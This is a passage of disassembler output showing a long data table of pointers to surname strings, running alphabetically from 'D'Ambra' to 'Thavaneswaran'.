		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset dword_430058
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
